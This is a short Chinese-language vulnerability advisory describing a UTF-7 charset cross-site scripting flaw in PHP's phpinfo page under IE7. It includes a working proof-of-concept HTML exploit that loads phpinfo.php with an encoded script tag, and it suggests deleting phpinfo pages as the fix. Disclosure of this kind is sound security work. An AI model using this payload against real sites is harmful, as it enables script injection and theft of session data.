漏洞成因: phpinfo頁面對輸入的參數都做了詳細的過濾,但是沒有對輸出的進行charset的指定,而在壹些瀏覽器裏如IE7裏,妳可以讓它自動選擇編碼或者通過壹個iframe頁面給它指定編碼,這樣就可以饒過phpinfo的過濾而產生壹個跨站腳本漏洞。
漏洞來源: /release/phpinfo-xss.txt
漏洞利用: 利用代碼如下:
<html>
<head>
<META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7">
</head>
<body>
<iframe src="/phpinfo.php?+ADw-SCRIPT+AD4-alert(document.domain);+ADw-/SCRIPT+AD4-=1">
以上代碼在IE7+php 5.2.6測試成功。phpinfo頁面的xss甚至比其他頁面更加危險,因為如果有phpinfo的存在,惡意攻擊者可以利用phpinfo的輸出bypass如httponly和壹些基礎認證。
漏洞影響: 影響所有版本的php和瀏覽器IE7
漏洞修補: 建議暫時刪除站點的phpinfo頁面避免被人利用。